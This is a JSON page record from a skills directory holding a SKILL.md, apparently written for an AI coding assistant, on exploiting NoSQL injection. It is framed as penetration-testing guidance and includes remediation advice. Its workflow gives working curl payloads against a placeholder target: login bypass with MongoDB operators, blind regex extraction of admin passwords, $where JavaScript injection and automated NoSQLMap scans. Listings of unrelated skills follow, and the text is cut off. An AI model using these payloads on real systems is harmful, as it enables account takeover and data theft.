[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ETPD33MB0Z1XQJWG93Q91H":3,"skill-same:01M6ETPD33MB0Z1XQJWG93Q91H":129},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":29,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":72,"commitSha":73,"skillDirectory":74,"forksCount":14,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":6,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M6ETPD33MB0Z1XQJWG93Q91H","exploiting-nosql-injection-vulnerabilities",null,"Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"vulnerabilities","injection","nosql","exploiting nosql injection vulnerabilities","injection-attack","de","databases","cm","exploit","access","api","t1505","database-security","testing","mongodb","nosql-injection","authentication-bypass","database","authentication","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-nosql-injection-vulnerabilities\ndescription: Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB,\n  and other NoSQL databases to demonstrate authentication bypass, data extraction,\n  and unauthorized access risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- nosql-injection\n- mongodb\n- authentication-bypass\n- injection-attack\n- web-security\n- database-security\n- api-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting NoSQL Injection Vulnerabilities\n\n## When to Use\n- During web application penetration testing of applications using NoSQL databases\n- When testing authentication mechanisms backed by MongoDB or similar databases\n- When assessing APIs that accept JSON input for database queries\n- During bug bounty hunting on applications with NoSQL backends\n- When performing security code review of database query construction\n\n## Prerequisites\n- Burp Suite Professional or Community Edition with JSON support\n- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)\n- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)\n- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)\n- Proxy configured for HTTP traffic interception\n- Python 3.x for custom payload scripting\n\n## Workflow\n\n### Step 1 — Identify NoSQL Injection Points\n```bash\n# Look for JSON-based login forms or API endpoints\n# Common indicators: application accepts JSON POST bodies, uses MongoDB\n# Test with basic syntax-breaking characters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\\\"\", \"password\": \"test\"}'\n\n# Test for operator injection in query parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=invalid\"\n\n# Check for error-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\": \"\"}}'\n```\n\n### Step 2 — Perform Authentication Bypass\n```bash\n# Basic authentication bypass with $ne operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": \"invalid\"}, \"password\": {\"$ne\": \"invalid\"}}'\n\n# Bypass with $gt operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Target specific user with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \".*\"}}'\n\n# Bypass using $exists operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$exists\": true}, \"password\": {\"$exists\": true}}'\n```\n\n### Step 3 — Extract Data Using Boolean-Based Blind Injection\n```bash\n# Extract username character by character using $regex\n# Test if first character of admin password is 'a'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}'\n\n# Test if first two characters are 'ab'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^ab\"}}'\n\n# Enumerate usernames with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$regex\": \"^adm\"}, \"password\": {\"$ne\": \"invalid\"}}'\n```\n\n### Step 4 — Exploit JavaScript Injection via $where\n```bash\n# JavaScript injection through $where operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'\n\n# Time-based detection with sleep\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"sleep(5000) || this.username == \\\"admin\\\"\"}'\n\n# Data exfiltration via $where with string comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.password.match(\u002F^a\u002F) != null\"}'\n```\n\n### Step 5 — Use NoSQLMap for Automated Testing\n```bash\n# Clone and setup NoSQLMap\ngit clone https:\u002F\u002Fgithub.com\u002Fcodingo\u002FNoSQLMap.git\ncd NoSQLMap\npython setup.py install\n\n# Run NoSQLMap against target\npython nosqlmap.py -u http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  --method POST \\\n  --data '{\"username\":\"test\",\"password\":\"test\"}'\n\n# Alternative: use nosqli scanner\npip install nosqli\nnosqli scan -t http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin -d '{\"username\":\"*\",\"password\":\"*\"}'\n```\n\n### Step 6 — Test URL Parameter Injection\n```bash\n# Parameter-based injection (GET requests)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=&password[$ne]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$regex]=admin&password[$gt]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$exists]=true\"\n\n# Array injection via URL parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$in][]=admin&username[$in][]=root\"\n\n# Inject via HTTP headers if processed by backend\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"X-User-Id: {'\\$ne': null}\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |\n| Authentication Bypass | Using operators to match any document and bypass login checks |\n| Blind Extraction | Character-by-character data extraction using $regex boolean responses |\n| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |\n| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |\n| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |\n| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| NoSQLMap | Automated NoSQL injection detection and exploitation framework |\n| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |\n| MongoDB Shell | Direct database interaction for testing query behavior |\n| nosqli | Dedicated NoSQL injection scanner and exploitation tool |\n| PayloadsAllTheThings | Curated NoSQL injection payload repository |\n| Nuclei | Template-based scanner with NoSQL injection detection templates |\n| Postman | API testing platform for crafting NoSQL injection requests |\n\n## Common Scenarios\n\n1. **Login Bypass** — Bypass MongoDB-backed authentication using `{\"$ne\": \"\"}` operator injection in username and password fields\n2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible\n3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints\n4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques\n5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass\n\n## Output Format\n\n```\n## NoSQL Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin\n- **Database**: MongoDB 6.0\n- **Vulnerability Type**: Operator Injection (Authentication Bypass)\n- **Severity**: Critical (CVSS 9.8)\n\n### Vulnerable Parameters\n| Endpoint | Parameter | Injection Type | Impact |\n|----------|-----------|---------------|--------|\n| POST \u002Fapi\u002Flogin | username | Operator ($ne) | Auth Bypass |\n| POST \u002Fapi\u002Flogin | password | Regex ($regex) | Data Extraction |\n| GET \u002Fapi\u002Fusers | id | $where JS Injection | RCE Potential |\n\n### Proof of Concept\n- Authentication bypass achieved with: {\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}\n- Extracted 3 admin passwords via blind regex injection\n- JavaScript execution confirmed via $where operator\n\n### Remediation\n- Use parameterized queries with MongoDB driver sanitization\n- Implement input type validation (reject objects where strings expected)\n- Disable server-side JavaScript execution ($where) in MongoDB config\n- Apply least-privilege database access controls\n```\n","# Exploiting NoSQL Injection Vulnerabilities\n\n## When to Use\n- During web application penetration testing of applications using NoSQL databases\n- When testing authentication mechanisms backed by MongoDB or similar databases\n- When assessing APIs that accept JSON input for database queries\n- During bug bounty hunting on applications with NoSQL backends\n- When performing security code review of database query construction\n\n## Prerequisites\n- Burp Suite Professional or Community Edition with JSON support\n- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)\n- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)\n- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)\n- Proxy configured for HTTP traffic interception\n- Python 3.x for custom payload scripting\n\n## Workflow\n\n### Step 1 — Identify NoSQL Injection Points\n```bash\n# Look for JSON-based login forms or API endpoints\n# Common indicators: application accepts JSON POST bodies, uses MongoDB\n# Test with basic syntax-breaking characters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\\\"\", \"password\": \"test\"}'\n\n# Test for operator injection in query parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=invalid\"\n\n# Check for error-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\": \"\"}}'\n```\n\n### Step 2 — Perform Authentication Bypass\n```bash\n# Basic authentication bypass with $ne operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": \"invalid\"}, \"password\": {\"$ne\": \"invalid\"}}'\n\n# Bypass with $gt operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Target specific user with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \".*\"}}'\n\n# Bypass using $exists operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$exists\": true}, \"password\": {\"$exists\": true}}'\n```\n\n### Step 3 — Extract Data Using Boolean-Based Blind Injection\n```bash\n# Extract username character by character using $regex\n# Test if first character of admin password is 'a'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}'\n\n# Test if first two characters are 'ab'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^ab\"}}'\n\n# Enumerate usernames with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$regex\": \"^adm\"}, \"password\": {\"$ne\": \"invalid\"}}'\n```\n\n### Step 4 — Exploit JavaScript Injection via $where\n```bash\n# JavaScript injection through $where operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'\n\n# Time-based detection with sleep\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"sleep(5000) || this.username == \\\"admin\\\"\"}'\n\n# Data exfiltration via $where with string comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.password.match(\u002F^a\u002F) != null\"}'\n```\n\n### Step 5 — Use NoSQLMap for Automated Testing\n```bash\n# Clone and setup NoSQLMap\ngit clone https:\u002F\u002Fgithub.com\u002Fcodingo\u002FNoSQLMap.git\ncd NoSQLMap\npython setup.py install\n\n# Run NoSQLMap against target\npython nosqlmap.py -u http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  --method POST \\\n  --data '{\"username\":\"test\",\"password\":\"test\"}'\n\n# Alternative: use nosqli scanner\npip install nosqli\nnosqli scan -t http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin -d '{\"username\":\"*\",\"password\":\"*\"}'\n```\n\n### Step 6 — Test URL Parameter Injection\n```bash\n# Parameter-based injection (GET requests)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=&password[$ne]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$regex]=admin&password[$gt]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$exists]=true\"\n\n# Array injection via URL parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$in][]=admin&username[$in][]=root\"\n\n# Inject via HTTP headers if processed by backend\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"X-User-Id: {'\\$ne': null}\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |\n| Authentication Bypass | Using operators to match any document and bypass login checks |\n| Blind Extraction | Character-by-character data extraction using $regex boolean responses |\n| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |\n| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |\n| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |\n| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| NoSQLMap | Automated NoSQL injection detection and exploitation framework |\n| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |\n| MongoDB Shell | Direct database interaction for testing query behavior |\n| nosqli | Dedicated NoSQL injection scanner and exploitation tool |\n| PayloadsAllTheThings | Curated NoSQL injection payload repository |\n| Nuclei | Template-based scanner with NoSQL injection detection templates |\n| Postman | API testing platform for crafting NoSQL injection requests |\n\n## Common Scenarios\n\n1. **Login Bypass** — Bypass MongoDB-backed authentication using `{\"$ne\": \"\"}` operator injection in username and password fields\n2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible\n3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints\n4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques\n5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass\n\n## Output Format\n\n```\n## NoSQL Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin\n- **Database**: MongoDB 6.0\n- **Vulnerability Type**: Operator Injection (Authentication Bypass)\n- **Severity**: Critical (CVSS 9.8)\n\n### Vulnerable Parameters\n| Endpoint | Parameter | Injection Type | Impact |\n|----------|-----------|---------------|--------|\n| POST \u002Fapi\u002Flogin | username | Operator ($ne) | Auth Bypass |\n| POST \u002Fapi\u002Flogin | password | Regex ($regex) | Data Extraction |\n| GET \u002Fapi\u002Fusers | id | $where JS Injection | RCE Potential |\n\n### Proof of Concept\n- Authentication bypass achieved with: {\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}\n- Extracted 3 admin passwords via blind regex injection\n- JavaScript execution confirmed via $where operator\n\n### Remediation\n- Use parameterized queries with MongoDB driver sanitization\n- Implement input type validation (reject objects where strings expected)\n- Disable server-side JavaScript execution ($where) in MongoDB config\n- Apply least-privilege database access controls\n```\n",{"name":5,"tags":55,"author":58,"domain":49,"license":15,"version":59,"nist_csf":60,"subdomain":65,"description":7,"mitre_attack":66},[45,44,46,34,56,42,57],"web-security","api-testing","mahipal","1.0",[61,62,63,64],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[67,68,69,70,71],"T1190","T1059.007","T1505.003","T1083","T1055","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill exploiting-nosql-injection-vulnerabilities",{"tool":86,"command":87},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill exploiting-nosql-injection-vulnerabilities",{"tool":89,"command":90},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill exploiting-nosql-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FSKILL.md",true,[94,100,105,111,115,119,125],{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"assets\u002Ftemplate.md","ASSET","资产文件",1117,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fassets\u002Ftemplate.md",{"path":101,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FLICENSE",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"references\u002Fapi-reference.md","REFERENCE","参考文档",2236,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":112,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":113,"sourceHtmlUrl":114},"references\u002Fstandards.md",1167,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fstandards.md",{"path":116,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":117,"sourceHtmlUrl":118},"references\u002Fworkflows.md",1147,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fworkflows.md",{"path":120,"resourceType":121,"resourceTypeDesc":122,"sizeBytes":123,"sourceHtmlUrl":124},"scripts\u002Fagent.py","SCRIPT","脚本",4761,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fscripts\u002Fagent.py",{"path":126,"resourceType":121,"resourceTypeDesc":122,"sizeBytes":127,"sourceHtmlUrl":128},"scripts\u002Fprocess.py",7617,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fscripts\u002Fprocess.py",[130,171,180,189,211,237],{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":151,"publishedAt":50},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[137,140,143,146],{"categoryNo":138,"categoryName":139,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":141,"categoryName":142,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":144,"categoryName":145,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":147,"categoryName":148,"taxonomyType":149,"taxonomyTypeDesc":150},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[132,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":172,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":179,"publishedAt":50},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[175,176,177,178],{"categoryNo":138,"categoryName":139,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":141,"categoryName":142,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":144,"categoryName":145,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":147,"categoryName":148,"taxonomyType":149,"taxonomyTypeDesc":150},[132,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170],{"skillNo":181,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":188,"publishedAt":50},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[184,185,186,187],{"categoryNo":138,"categoryName":139,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":141,"categoryName":142,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":144,"categoryName":145,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":147,"categoryName":148,"taxonomyType":149,"taxonomyTypeDesc":150},[132,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170],{"skillNo":190,"name":191,"nameZh":6,"description":192,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":193,"categories":194,"keywords":195,"publishedAt":50},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[196,197,198,199,200,201,202,203,204,205,206,207,208,209,210],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":50},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[217],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[219,220,221,222,223,224,225,226,227,228,229,163,164,230,231,232,233,234,235,236],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":253,"publishedAt":50},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing 